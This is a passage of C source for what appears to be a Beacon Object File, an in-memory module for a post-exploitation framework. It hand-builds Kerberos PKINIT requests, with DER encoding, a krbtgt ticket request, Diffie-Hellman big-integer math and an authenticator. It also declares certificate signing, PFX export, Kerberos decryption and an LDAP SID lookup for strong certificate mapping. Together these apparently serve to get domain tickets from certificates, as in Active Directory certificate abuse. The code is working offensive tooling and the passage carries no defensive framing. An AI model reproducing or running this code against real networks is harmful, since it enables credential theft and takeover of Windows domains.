CRYPT32$CertCreateCertificateContext\n#define CertFreeCertificateContext CRYPT32$CertFreeCertificateContext\n#define CertOpenStore CRYPT32$CertOpenStore\n#define CertCloseStore CRYPT32$CertCloseStore\n#define CertAddCertificateContextToStore CRYPT32$CertAddCertificateContextToStore\n#define CertSetCertificateContextProperty CRYPT32$CertSetCertificateContextProperty\n#define PFXExportCertStoreEx CRYPT32$PFXExportCertStoreEx\n#define PFXImportCertStore CRYPT32$PFXImportCertStore\n#define CertEnumCertificatesInStore CRYPT32$CertEnumCertificatesInStore\n#define CryptAcquireCertificatePrivateKey CRYPT32$CryptAcquireCertificatePrivateKey\n#define CryptSignMessage CRYPT32$CryptSignMessage\n#define CryptExportPublicKeyInfo CRYPT32$CryptExportPublicKeyInfo\n#define CryptSignAndEncodeCertificate CRYPT32$CryptSignAndEncodeCertificate\n#define CryptMsgOpenToEncode CRYPT32$CryptMsgOpenToEncode\n#define CryptMsgUpdate CRYPT32$CryptMsgUpdate\n#define CryptMsgGetParam CRYPT32$CryptMsgGetParam\n#define CryptMsgClose CRYPT32$CryptMsgClose\n\n#define CoInitializeEx OLE32$CoInitializeEx\n#define CoUninitialize OLE32$CoUninitialize\n#define CoCreateInstance OLE32$CoCreateInstance\n#define CoCreateGuid OLE32$CoCreateGuid\n#define SysAllocString OLEAUT32$SysAllocString\n#define SysFreeString OLEAUT32$SysFreeString\n\n#define DsGetDcNameW NETAPI32$DsGetDcNameW\n#define NetApiBufferFree NETAPI32$NetApiBufferFree\n\n#define LocalAlloc KERNEL32$LocalAlloc\n#define LocalFree KERNEL32$LocalFree\n#define LoadLibraryA KERNEL32$LoadLibraryA\n#define GetProcAddress KERNEL32$GetProcAddress\n#define FreeLibrary KERNEL32$FreeLibrary\n#define MultiByteToWideChar KERNEL32$MultiByteToWideChar\n#define WideCharToMultiByte KERNEL32$WideCharToMultiByte\n#define GetSystemTime KERNEL32$GetSystemTime\n#define WriteFile KERNEL32$WriteFile\n#define CreateFileW KERNEL32$CreateFileW\n#define CloseHandle KERNEL32$CloseHandle\n#define ReadFile KERNEL32$ReadFile\n#define GetFileSize KERNEL32$GetFileSize\n#define GetLastError KERNEL32$GetLastError\n#define GetComputerNameExW KERNEL32$GetComputerNameExW\n\n#define malloc MSVCRT$malloc\n#define free MSVCRT$free\n#define memset MSVCRT$memset\n#define memcpy MSVCRT$memcpy\n#define memcmp MSVCRT$memcmp\n#define strlen MSVCRT$strlen\n#define wcslen MSVCRT$wcslen\n#define sprintf MSVCRT$sprintf\n#define swprintf MSVCRT$swprintf\n#define strcpy MSVCRT$strcpy\n#define strcat MSVCRT$strcat\n#define strchr MSVCRT$strchr\n#define wcscpy MSVCRT$wcscpy\n#define _stricmp MSVCRT$_stricmp\n#define rand MSVCRT$rand\n#define srand MSVCRT$srand\n#define time MSVCRT$time\n\n\n/*\n * =============================================================================\n * LDAP DFR - SID Lookup Support for KB5014754 Strong Certificate Mapping\n * =============================================================================\n */\n\n/* LDAP DFR declarations */\nDECLSPEC_IMPORT LDAP* WINAPI WLDAP32$ldap_initW(PWSTR, ULONG);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_bind_sW(LDAP*, PWSTR, PWSTR, ULONG);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_search_sW(LDAP*, PWSTR, ULONG, PWSTR, PWSTR*, ULONG, LDAPMessage**);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_unbind(LDAP*);\nDECLSPEC_IMPORT LDAPMessage* WINAPI WLDAP32$ldap_first_entry(LDAP*, LDAPMessage*);\nDECLSPEC_IMPORT struct berval** WINAPI WLDAP32$ldap_get_values_lenW(LDAP*, LDAPMessage*, PWSTR);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_value_free_len(struct berval**);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_msgfree(LDAPMessage*);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_set_optionW(LDAP*, int, const void*);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID, LPSTR*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$IsValidSid(PSID);\nDECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetLengthSid(PSID);\n\n#define ldap_initW WLDAP32$ldap_initW\n#define ldap_bind_sW WLDAP32$ldap_bind_sW\n#define ldap_search_sW WLDAP32$ldap_search_sW\n#define ldap_unbind WLDAP32$ldap_unbind\n#define ldap_first_entry WLDAP32$ldap_first_entry\n#define ldap_get_values_lenW WLDAP32$ldap_get_values_lenW\n#define ldap_value_free_len WLDAP32$ldap_value_free_len\n#define ldap_msgfree WLDAP32$ldap_msgfree\n#define ldap_set_optionW WLDAP32$ldap_set_optionW\n\n#define ConvertSidToStringSidA ADVAPI32$ConvertSidToStringSidA\n#define IsValidSid ADVAPI32$IsValidSid\n#define GetLengthSid ADVAPI32$GetLengthSid\n\n#endif /* BOF */\n\n/*\n * =============================================================================\n * cryptdll.dll types for Kerberos decryption\n * =============================================================================\n */\n\n/* CDLocateCSystem function pointer type */\ntypedef int (WINAPI *CDLocateCSystem_t)(int, void**);\ntypedef int (WINAPI *CDLocateCheckSum_t)(int, void**);\n\n/*\n * =============================================================================\n * KERB_ECRYPT Structure for cryptdll.dll\n * =============================================================================\n */\n\ntypedef struct _KERB_ECRYPT {\n    int Type0;\n    int BlockSize;\n    int Type1;\n    int KeySize;\n    int Size;\n    int Type2;\n    int Type3;\n    void* AlgName;\n    void* Initialize;\n    void* Encrypt;\n    void* Decrypt;\n    void* Finish;\n    void* HashPassword;\n    void* RandomKey;\n    void* Control;\n} KERB_ECRYPT;\n\ntypedef int (WINAPI *KERB_ECRYPT_Initialize)(BYTE* key, int keySize, int keyUsage, void** pContext);\ntypedef int (WINAPI *KERB_ECRYPT_Decrypt)(void* pContext, BYTE* data, int dataSize, BYTE* output, int* outputSize);\ntypedef int (WINAPI *KERB_ECRYPT_Finish)(void** pContext);\n\n/*\n * =============================================================================\n * ASN.1/DER Encoding Functions\n * =============================================================================\n */\n\n/* Encode length in DER format */\nstatic int EncodeLength(BYTE* buf, int len) {\n    if (len < 128) {\n        buf[0] = (BYTE)len;\n        return 1;\n    } else if (len < 256) {\n        buf[0] = 0x81;\n        buf[1] = (BYTE)len;\n        return 2;\n    } else if (len < 65536) {\n        buf[0] = 0x82;\n        buf[1] = (BYTE)(len >> 8);\n        buf[2] = (BYTE)(len & 0xFF);\n        return 3;\n    } else {\n        buf[0] = 0x83;\n        buf[1] = (BYTE)(len >> 16);\n        buf[2] = (BYTE)((len >> 8) & 0xFF);\n        buf[3] = (BYTE)(len & 0xFF);\n        return 4;\n    }\n}\n\n/* Decode DER length */\nstatic int DecodeLength(BYTE* data, int offset, int* length) {\n    if ((data[offset] & 0x80) == 0) {\n        *length = data[offset];\n        return 1;\n    } else {\n        int numBytes = data[offset] & 0x7F;\n        *length = 0;\n        for (int i = 1; i <= numBytes; i++) {\n            *length = (*length << 8) | data[offset + i];\n        }\n        return 1 + numBytes;\n    }\n}\n\n/* Build DER SEQUENCE */\nstatic BYTE* BuildSequence(BYTE* content, int contentLen, int* outLen) {\n    int lenSize;\n    BYTE lenBuf[4];\n    BYTE* result;\n\n    lenSize = EncodeLength(lenBuf, contentLen);\n    *outLen = 1 + lenSize + contentLen;\n    result = (BYTE*)malloc(*outLen);\n\n    result[0] = 0x30; /* SEQUENCE */\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, content, contentLen);\n\n    return result;\n}\n\n/* Build DER INTEGER from int */\nstatic BYTE* BuildInteger(int value, int* outLen) {\n    BYTE* result;\n    if (value >= 0 && value < 128) {\n        *outLen = 3;\n        result = (BYTE*)malloc(3);\n        result[0] = 0x02;\n        result[1] = 0x01;\n        result[2] = (BYTE)value;\n    } else if (value >= 0 && value < 256) {\n        *outLen = 4;\n        result = (BYTE*)malloc(4);\n        result[0] = 0x02;\n        result[1] = 0x02;\n        result[2] = 0x00;\n        result[3] = (BYTE)value;\n    } else {\n        *outLen = 6;\n        result = (BYTE*)malloc(6);\n        result[0] = 0x02;\n        result[1] = 0x04;\n        result[2] = (BYTE)(value >> 24);\n        result[3] = (BYTE)(value >> 16);\n        result[4] = (BYTE)(value >> 8);\n        result[5] = (BYTE)value;\n    }\n    return result;\n}\n\n/* Build DER INTEGER from bytes */\nstatic BYTE* BuildIntegerFromBytes(BYTE* data, int dataLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n    int needPadding = (data[0] & 0x80) ? 1 : 0;\n    int totalDataLen = dataLen + needPadding;\n\n    lenSize = EncodeLength(lenBuf, totalDataLen);\n    *outLen = 1 + lenSize + totalDataLen;\n    result = (BYTE*)malloc(*outLen);\n\n    result[0] = 0x02; /* INTEGER */\n    memcpy(result + 1, lenBuf, lenSize);\n    if (needPadding) {\n        result[1 + lenSize] = 0x00;\n        memcpy(result + 2 + lenSize, data, dataLen);\n    } else {\n        memcpy(result + 1 + lenSize, data, dataLen);\n    }\n\n    return result;\n}\n\n/* Build DER OCTET STRING */\nstatic BYTE* BuildOctetString(BYTE* data, int dataLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n\n    lenSize = EncodeLength(lenBuf, dataLen);\n    *outLen = 1 + lenSize + dataLen;\n    result = (BYTE*)malloc(*outLen);\n\n    result[0] = 0x04; /* OCTET STRING */\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, data, dataLen);\n\n    return result;\n}\n\n/* Build DER BIT STRING */\nstatic BYTE* BuildBitString(BYTE* data, int dataLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n\n    lenSize = EncodeLength(lenBuf, dataLen + 1);\n    *outLen = 1 + lenSize + 1 + dataLen;\n    result = (BYTE*)malloc(*outLen);\n\n    result[0] = 0x03; /* BIT STRING */\n    memcpy(result + 1, lenBuf, lenSize);\n    result[1 + lenSize] = 0x00; /* unused bits */\n    memcpy(result + 2 + lenSize, data, dataLen);\n\n    return result;\n}\n\n/* Build Context Tag [n] */\nstatic BYTE* BuildContextTag(int tagNum, BYTE* content, int contentLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n\n    lenSize = EncodeLength(lenBuf, contentLen);\n    *outLen = 1 + lenSize + contentLen;\n    result = (BYTE*)malloc(*outLen);\n\n    result[0] = 0xA0 | tagNum; /* Context tag */\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, content, contentLen);\n\n    return result;\n}\n\n/* Build APPLICATION tag */\nstatic BYTE* BuildApplication(int appNum, BYTE* content, int contentLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n\n    lenSize = EncodeLength(lenBuf, contentLen);\n    *outLen = 1 + lenSize + contentLen;\n    result = (BYTE*)malloc(*outLen);\n\n    result[0] = 0x60 | appNum; /* APPLICATION constructed */\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, content, contentLen);\n\n    return result;\n}\n\n/* Build GeneralString */\nstatic BYTE* BuildGeneralString(const char* str, int* outLen) {\n    int strLen = (int)strlen(str);\n    int lenSize;\n    BYTE lenBuf[4];\n    BYTE* result;\n\n    lenSize = EncodeLength(lenBuf, strLen);\n    *outLen = 1 + lenSize + strLen;\n    result = (BYTE*)malloc(*outLen);\n\n    result[0] = 0x1B; /* GeneralString */\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, str, strLen);\n\n    return result;\n}\n\n/* Build GeneralizedTime */\nstatic BYTE* BuildGeneralizedTime(const char* timeStr, int* outLen) {\n    int strLen = (int)strlen(timeStr);\n    BYTE* result;\n\n    *outLen = 2 + strLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0x18; /* GeneralizedTime */\n    result[1] = (BYTE)strLen;\n    memcpy(result + 2, timeStr, strLen);\n\n    return result;\n}\n\n/* Combine multiple byte arrays */\nstatic BYTE* CombineBytes(BYTE** arrays, int* lengths, int count, int* outLen) {\n    int totalLen = 0;\n    for (int i = 0; i < count; i++) {\n        totalLen += lengths[i];\n    }\n\n    BYTE* result = (BYTE*)malloc(totalLen);\n    int offset = 0;\n    for (int i = 0; i < count; i++) {\n        memcpy(result + offset, arrays[i], lengths[i]);\n        offset += lengths[i];\n    }\n\n    *outLen = totalLen;\n    return result;\n}\n\n/*\n * =============================================================================\n * PKINIT - Build KDC-REQ-BODY\n * =============================================================================\n */\n\n/* Build PrincipalName structure */\nstatic BYTE* BuildPrincipalName(int nameType, const char* name1, const char* name2, int* outLen) {\n    int offset = 0;\n    BYTE* content = (BYTE*)malloc(1024);\n    BYTE* nameStrings = (BYTE*)malloc(512);\n    int nameStringsLen = 0;\n\n    /* name-type [0] INTEGER */\n    int nameTypeLen;\n    BYTE* nameTypeInt = BuildInteger(nameType, &nameTypeLen);\n    int nameTypeTagLen;\n    BYTE* nameTypeTag = BuildContextTag(0, nameTypeInt, nameTypeLen, &nameTypeTagLen);\n    memcpy(content + offset, nameTypeTag, nameTypeTagLen);\n    offset += nameTypeTagLen;\n    free(nameTypeInt);\n    free(nameTypeTag);\n\n    /* name-string [1] SEQUENCE OF GeneralString */\n    int str1Len;\n    BYTE* str1 = BuildGeneralString(name1, &str1Len);\n    memcpy(nameStrings + nameStringsLen, str1, str1Len);\n    nameStringsLen += str1Len;\n    free(str1);\n\n    if (name2 != NULL) {\n        int str2Len;\n        BYTE* str2 = BuildGeneralString(name2, &str2Len);\n        memcpy(nameStrings + nameStringsLen, str2, str2Len);\n        nameStringsLen += str2Len;\n        free(str2);\n    }\n\n    int nameStrSeqLen;\n    BYTE* nameStrSeq = BuildSequence(nameStrings, nameStringsLen, &nameStrSeqLen);\n    int nameStrTagLen;\n    BYTE* nameStrTag = BuildContextTag(1, nameStrSeq, nameStrSeqLen, &nameStrTagLen);\n    memcpy(content + offset, nameStrTag, nameStrTagLen);\n    offset += nameStrTagLen;\n    free(nameStrSeq);\n    free(nameStrTag);\n    free(nameStrings);\n\n    BYTE* result = BuildSequence(content, offset, outLen);\n    free(content);\n    return result;\n}\n\n/* Build KDC-REQ-BODY for AS-REQ */\nstatic BYTE* BuildKdcReqBody(const char* user, const char* realm, int* outLen) {\n    BYTE* content = (BYTE*)malloc(4096);\n    int offset = 0;\n\n    /* kdc-options [0] BIT STRING */\n    /* Flags: forwardable (0x40), renewable (0x80), canonicalize (0x10), renewable-ok (0x10) */\n    BYTE kdcOptions[] = { 0x03, 0x05, 0x00, 0x40, 0x81, 0x00, 0x10 };\n    int kdcOptsTagLen;\n    BYTE* kdcOptsTag = BuildContextTag(0, kdcOptions, sizeof(kdcOptions), &kdcOptsTagLen);\n    memcpy(content + offset, kdcOptsTag, kdcOptsTagLen);\n    offset += kdcOptsTagLen;\n    free(kdcOptsTag);\n\n    /* cname [1] PrincipalName (NT-PRINCIPAL = 1) */\n    int cnameLen;\n    BYTE* cname = BuildPrincipalName(1, user, NULL, &cnameLen);\n    int cnameTagLen;\n    BYTE* cnameTag = BuildContextTag(1, cname, cnameLen, &cnameTagLen);\n    memcpy(content + offset, cnameTag, cnameTagLen);\n    offset += cnameTagLen;\n    free(cname);\n    free(cnameTag);\n\n    /* realm [2] GeneralString */\n    int realmStrLen;\n    BYTE* realmStr = BuildGeneralString(realm, &realmStrLen);\n    int realmTagLen;\n    BYTE* realmTag = BuildContextTag(2, realmStr, realmStrLen, &realmTagLen);\n    memcpy(content + offset, realmTag, realmTagLen);\n    offset += realmTagLen;\n    free(realmStr);\n    free(realmTag);\n\n    /* sname [3] PrincipalName (NT-SRV-INST = 2, krbtgt/REALM) */\n    int snameLen;\n    BYTE* sname = BuildPrincipalName(2, \"krbtgt\", realm, &snameLen);\n    int snameTagLen;\n    BYTE* snameTag = BuildContextTag(3, sname, snameLen, &snameTagLen);\n    memcpy(content + offset, snameTag, snameTagLen);\n    offset += snameTagLen;\n    free(sname);\n    free(snameTag);\n\n    /* till [5] KerberosTime (1 year from now) */\n    SYSTEMTIME st;\n    GetSystemTime(&st);\n    char tillTime[20];\n    sprintf(tillTime, \"%04d%02d%02d%02d%02d%02dZ\",\n            st.wYear + 1, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);\n    int tillStrLen;\n    BYTE* tillStr = BuildGeneralizedTime(tillTime, &tillStrLen);\n    int tillTagLen;\n    BYTE* tillTag = BuildContextTag(5, tillStr, tillStrLen, &tillTagLen);\n    memcpy(content + offset, tillTag, tillTagLen);\n    offset += tillTagLen;\n    free(tillStr);\n    free(tillTag);\n\n    /* nonce [7] INTEGER */\n    srand((unsigned int)time(NULL));\n    g_nonce = 100000000 + (rand() % 899999999);\n    int nonceLen;\n    BYTE* nonceInt = BuildInteger(g_nonce, &nonceLen);\n    int nonceTagLen;\n    BYTE* nonceTag = BuildContextTag(7, nonceInt, nonceLen, &nonceTagLen);\n    memcpy(content + offset, nonceTag, nonceTagLen);\n    offset += nonceTagLen;\n    free(nonceInt);\n    free(nonceTag);\n\n    /* etype [8] SEQUENCE OF INTEGER */\n    BYTE etypesContent[32];\n    int etypesContentLen = 0;\n    int etypeLen;\n\n    BYTE* etype1 = BuildInteger(ETYPE_AES256_CTS_HMAC_SHA1, &etypeLen);\n    memcpy(etypesContent + etypesContentLen, etype1, etypeLen);\n    etypesContentLen += etypeLen;\n    free(etype1);\n\n    BYTE* etype2 = BuildInteger(ETYPE_AES128_CTS_HMAC_SHA1, &etypeLen);\n    memcpy(etypesContent + etypesContentLen, etype2, etypeLen);\n    etypesContentLen += etypeLen;\n    free(etype2);\n\n    BYTE* etype3 = BuildInteger(ETYPE_RC4_HMAC, &etypeLen);\n    memcpy(etypesContent + etypesContentLen, etype3, etypeLen);\n    etypesContentLen += etypeLen;\n    free(etype3);\n\n    int etypesSeqLen;\n    BYTE* etypesSeq = BuildSequence(etypesContent, etypesContentLen, &etypesSeqLen);\n    int etypesTagLen;\n    BYTE* etypesTag = BuildContextTag(8, etypesSeq, etypesSeqLen, &etypesTagLen);\n    memcpy(content + offset, etypesTag, etypesTagLen);\n    offset += etypesTagLen;\n    free(etypesSeq);\n    free(etypesTag);\n\n    BYTE* result = BuildSequence(content, offset, outLen);\n    free(content);\n    return result;\n}\n\n/*\n * =============================================================================\n * BigInteger Implementation for DH (1024-bit MODP Group 2)\n * =============================================================================\n */\n\n#define BIGINT_WORDS 64  /* 64 x 32-bit = 2048 bits max (for intermediate results) */\n#define DH_BYTES 128     /* 1024 bits */\n#define DH_WORDS 32      /* 32 x 32-bit words */\n\ntypedef struct {\n    DWORD words[BIGINT_WORDS];  /* Little-endian word array */\n    int len;                     /* Number of significant words */\n} BigInt;\n\n/* Initialize BigInt to zero */\nstatic void bigint_zero(BigInt* n) {\n    memset(n->words, 0, sizeof(n->words));\n    n->len = 1;\n}\n\n/* Initialize BigInt from big-endian byte array */\nstatic void bigint_from_bytes(BigInt* n, const BYTE* data, int dataLen) {\n    int i, j;\n    bigint_zero(n);\n\n    /* Convert big-endian bytes to little-endian words */\n    for (i = 0; i < dataLen && i < DH_BYTES; i++) {\n        int bytePos = dataLen - 1 - i;\n        int wordIdx = i / 4;\n        int byteIdx = i % 4;\n        n->words[wordIdx] |= ((DWORD)data[bytePos]) << (byteIdx * 8);\n    }\n\n    /* Calculate actual length */\n    n->len = (dataLen + 3) / 4;\n    while (n->len > 1 && n->words[n->len - 1] == 0) n->len--;\n}\n\n/* Convert BigInt to big-endian byte array */\nstatic void bigint_to_bytes(BigInt* n, BYTE* out, int outLen) {\n    int i;\n    memset(out, 0, outLen);\n\n    for (i = 0; i < outLen && i < n->len * 4; i++) {\n        int wordIdx = i / 4;\n        int byteIdx = i % 4;\n        out[outLen - 1 - i] = (BYTE)(n->words[wordIdx] >> (byteIdx * 8));\n    }\n}\n\n/* Compare: returns -1 if a < b, 0 if a == b, 1 if a > b */\nstatic int bigint_cmp(BigInt* a, BigInt* b) {\n    int i;\n    int maxLen = (a->len > b->len) ? a->len : b->len;\n\n    for (i = maxLen - 1; i >= 0; i--) {\n        DWORD aw = (i < a->len) ? a->words[i] : 0;\n        DWORD bw = (i < b->len) ? b->words[i] : 0;\n        if (aw > bw) return 1;\n        if (aw < bw) return -1;\n    }\n    return 0;\n}\n\n/* Subtraction: result = a - b (assumes a >= b) */\nstatic void bigint_sub(BigInt* result, BigInt* a, BigInt* b) {\n    int i;\n    LONGLONG borrow = 0;\n\n    for (i = 0; i < a->len; i++) {\n        LONGLONG diff = (LONGLONG)a->words[i] - borrow;\n        if (i < b->len) diff -= b->words[i];\n        if (diff < 0) {\n            diff += 0x100000000LL;\n            borrow = 1;\n        } else {\n            borrow = 0;\n        }\n        result->words[i] = (DWORD)diff;\n    }\n    result->len = a->len;\n    while (result->len > 1 && result->words[result->len - 1] == 0) result->len--;\n}\n\n/* Multiplication: result = a * b */\nstatic void bigint_mul(BigInt* result, BigInt* a, BigInt* b) {\n    int i, j;\n    BigInt temp;\n    bigint_zero(&temp);\n\n    for (i = 0; i < a->len; i++) {\n        ULONGLONG carry = 0;\n        for (j = 0; j < b->len || carry; j++) {\n            ULONGLONG prod = temp.words[i + j] + carry;\n            if (j < b->len) prod += (ULONGLONG)a->words[i] * b->words[j];\n            temp.words[i + j] = (DWORD)prod;\n            carry = prod >> 32;\n        }\n        if (i + j > temp.len) temp.len = i + j;\n    }\n    while (temp.len > 1 && temp.words[temp.len - 1] == 0) temp.len--;\n\n    memcpy(result, &temp, sizeof(BigInt));\n}\n\n/* Get bit at position */\nstatic int bigint_get_bit(BigInt* n, int pos) {\n    int wordIdx = pos / 32;\n    int bitIdx = pos % 32;\n    if (wordIdx >= n->len) return 0;\n    return (n->words[wordIdx] >> bitIdx) & 1;\n}\n\n/* Get number of significant bits */\nstatic int bigint_bit_length(BigInt* n) {\n    int i;\n    if (n->len == 0) return 0;\n\n    DWORD top = n->words[n->len - 1];\n    int bits = (n->len - 1) * 32;\n\n    while (top) {\n        bits++;\n        top >>= 1;\n    }\n    return bits;\n}\n\n/* Modulo: result = a mod p (using repeated subtraction for simplicity) */\nstatic void bigint_mod(BigInt* result, BigInt* a, BigInt* p) {\n    BigInt temp, shifted_p;\n    int shift;\n\n    memcpy(&temp, a, sizeof(BigInt));\n\n    /* Simple division by repeated subtraction with shifting */\n    while (bigint_cmp(&temp, p) >= 0) {\n        /* Find how much to shift p */\n        int tempBits = bigint_bit_length(&temp);\n        int pBits = bigint_bit_length(p);\n        shift = tempBits - pBits;\n\n        /* Shift p left */\n        memcpy(&shifted_p, p, sizeof(BigInt));\n        if (shift > 0) {\n            int wordShift = shift / 32;\n            int bitShift = shift % 32;\n            int i;\n\n            /* Shift by words */\n            if (wordShift > 0) {\n                for (i = shifted_p.len - 1; i >= 0; i--) {\n                    if (i + wordShift < BIGINT_WORDS) {\n                        shifted_p.words[i + wordShift] = shifted_p.words[i];\n                    }\n                    shifted_p.words[i] = 0;\n                }\n                shifted_p.len += wordShift;\n            }\n\n            /* Shift by bits */\n            if (bitShift > 0) {\n                DWORD carry = 0;\n                for (i = 0; i < shifted_p.len; i++) {\n                    DWORD newCarry = shifted_p.words[i] >> (32 - bitShift);\n                    shifted_p.words[i] = (shifted_p.words[i] << bitShift) | carry;\n                    carry = newCarry;\n                }\n                if (carry) {\n                    shifted_p.words[shifted_p.len++] = carry;\n                }\n            }\n        }\n\n        /* If shifted_p > temp, reduce shift by 1 */\n        if (bigint_cmp(&shifted_p, &temp) > 0) {\n            /* Shift right by 1 bit */\n            int i;\n            for (i = 0; i < shifted_p.len; i++) {\n                shifted_p.words[i] >>= 1;\n                if (i + 1 < shifted_p.len) {\n                    shifted_p.words[i] |= (shifted_p.words[i + 1] & 1) << 31;\n                }\n            }\n            while (shifted_p.len > 1 && shifted_p.words[shifted_p.len - 1] == 0) {\n                shifted_p.len--;\n            }\n        }\n\n        /* Subtract */\n        if (bigint_cmp(&temp, &shifted_p) >= 0) {\n            bigint_sub(&temp, &temp, &shifted_p);\n        } else {\n            break;\n        }\n    }\n\n    memcpy(result, &temp, sizeof(BigInt));\n}\n\n/* Modular exponentiation: result = base^exp mod p (square-and-multiply) */\nstatic void bigint_modpow(BigInt* result, BigInt* base, BigInt* exp, BigInt* p) {\n    BigInt temp_result, temp_base, temp_mul;\n    int i, expBits;\n\n    /* result = 1 */\n    bigint_zero(&temp_result);\n    temp_result.words[0] = 1;\n    temp_result.len = 1;\n\n    /* temp_base = base mod p */\n    bigint_mod(&temp_base, base, p);\n\n    expBits = bigint_bit_length(exp);\n\n    for (i = 0; i < expBits; i++) {\n        if (bigint_get_bit(exp, i)) {\n            /* result = (result * temp_base) mod p */\n            bigint_mul(&temp_mul, &temp_result, &temp_base);\n            bigint_mod(&temp_result, &temp_mul, p);\n        }\n        /* temp_base = (temp_base * temp_base) mod p */\n        bigint_mul(&temp_mul, &temp_base, &temp_base);\n        bigint_mod(&temp_base, &temp_mul, p);\n    }\n\n    memcpy(result, &temp_result, sizeof(BigInt));\n}\n\n/*\n * =============================================================================\n * PKINIT - DH Key Generation (using BigInteger)\n * =============================================================================\n */\n\nstatic void GenerateDHKeys(HCRYPTPROV hProv) {\n    BigInt p, g, x, y;\n\n    /* Generate random private key x (128 bytes) */\n    CryptGenRandom(hProv, sizeof(g_dhPrivateKey), g_dhPrivateKey);\n    g_dhPrivateKey[0] &= 0x7F; /* Ensure positive */\n\n    /* Initialize BigInts */\n    bigint_from_bytes(&p, DH_P_MODP2, sizeof(DH_P_MODP2));\n    bigint_from_bytes(&g, DH_G_MODP2, sizeof(DH_G_MODP2));\n    bigint_from_bytes(&x, g_dhPrivateKey, sizeof(g_dhPrivateKey));\n\n    /* Calculate public key: y = g^x mod p */\n    bigint_modpow(&y, &g, &x, &p);\n\n    /* Convert back to bytes */\n    bigint_to_bytes(&y, g_dhPublicKey, sizeof(g_dhPublicKey));\n}\n\n/* Build DH SubjectPublicKeyInfo */\nstatic BYTE* BuildDhSubjectPublicKeyInfo(int* outLen) {\n    BYTE* content = (BYTE*)malloc(1024);\n    BYTE* domainParamsContent = (BYTE*)malloc(256);\n    BYTE* algIdContent = (BYTE*)malloc(512);\n    int offset = 0;\n\n    /* AlgorithmIdentifier for DH */\n    /* OID: 1.2.840.10046.2.1 (dhpublicnumber) */\n    BYTE dhOid[] = { 0x06, 0x07, 0x2A, 0x86, 0x48, 0xCE, 0x3E, 0x02, 0x01 };\n\n    /* DomainParameters: SEQUENCE { p INTEGER, g INTEGER } */\n    int pIntLen;\n    BYTE* pInt = BuildIntegerFromBytes((BYTE*)DH_P_MODP2, sizeof(DH_P_MODP2), &pIntLen);\n    int gIntLen;\n    BYTE* gInt = BuildIntegerFromBytes((BYTE*)DH_G_MODP2, sizeof(DH_G_MODP2), &gIntLen);\n\n    memcpy(domainParamsContent, pInt, pIntLen);\n    memcpy(domainParamsContent + pIntLen, gInt, gIntLen);\n    int domainParamsLen;\n    BYTE* domainParams = BuildSequence(domainParamsContent, pIntLen + gIntLen, &domainParamsLen);\n    free(pInt);\n    free(gInt);\n\n    /* Build AlgorithmIdentifier SEQUENCE */\n    memcpy(algIdContent, dhOid, sizeof(dhOid));\n    memcpy(algIdContent + sizeof(dhOid), domainParams, domainParamsLen);\n    int algIdLen;\n    BYTE* algId = BuildSequence(algIdContent, sizeof(dhOid) + domainParamsLen, &algIdLen);\n    free(domainParams);\n\n    memcpy(content + offset, algId, algIdLen);\n    offset += algIdLen;\n    free(algId);\n\n    /* BIT STRING containing public key INTEGER */\n    int pubKeyIntLen;\n    BYTE* pubKeyInt = BuildIntegerFromBytes(g_dhPublicKey, sizeof(g_dhPublicKey), &pubKeyIntLen);\n    int pubKeyBitLen;\n    BYTE* pubKeyBit = BuildBitString(pubKeyInt, pubKeyIntLen, &pubKeyBitLen);\n    free(pubKeyInt);\n\n    memcpy(content + offset, pubKeyBit, pubKeyBitLen);\n    offset += pubKeyBitLen;\n    free(pubKeyBit);\n\n    free(domainParamsContent);\n    free(algIdContent);\n    BYTE* result = BuildSequence(content, offset, outLen);\n    free(content);\n    return result;\n}\n\n/*\n * =============================================================================\n * PKINIT - AuthPack Construction\n * =============================================================================\n */\n\nstatic BYTE* BuildPKAuthenticator(const char* user, const char* realm,\n                                   BYTE* paChecksum, int paChecksumLen, int* outLen) {\n    BYTE* content = (BYTE*)malloc(512);\n    int offset = 0;\n\n    /* cusec [0] INTEGER (microseconds) */\n    SYSTEMTIME st;\n    GetSystemTime(&st);\n    int cusec = st.wMilliseconds * 1000;\n    int cusecLen;\n    BYTE* cusecInt = BuildInteger(cusec, &cusecLen);\n    int cusecTagLen;\n    BYTE* cusecTag = BuildContextTag(0, cusecInt, cusecLen, &cusecTagLen);\n    memcpy(content + offset, cusecTag, cusecTagLen);\n    offset += cusecTagLen;\n    free(cusecInt);\n    free(cusecTag);\n\n    /* ctime [1] KerberosTime */\n    char ctime[20];\n    sprintf(ctime, \"%04d%02d%02d%02d%02d%02dZ\",\n            st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);\n    int ctimeStrLen;\n    BYTE* ctimeStr = BuildGeneralizedTime(ctime, &ctimeStrLen);\n    int ctimeTagLen;\n    BYTE* ctimeTag = BuildContextTag(1, ctimeStr, ctimeStrLen, &ctimeTagLen);\n    memcpy(content + offset, ctimeTag, ctimeTagLen);\n    offset += ctimeTagLen;\n    free(ctimeStr);\n    free(ctimeTag);\n\n    /* nonce [2] INTEGER */\n    int nonceLen;\n    BYTE* nonceInt = BuildInteger(g_nonce, &nonceLen);\n    int 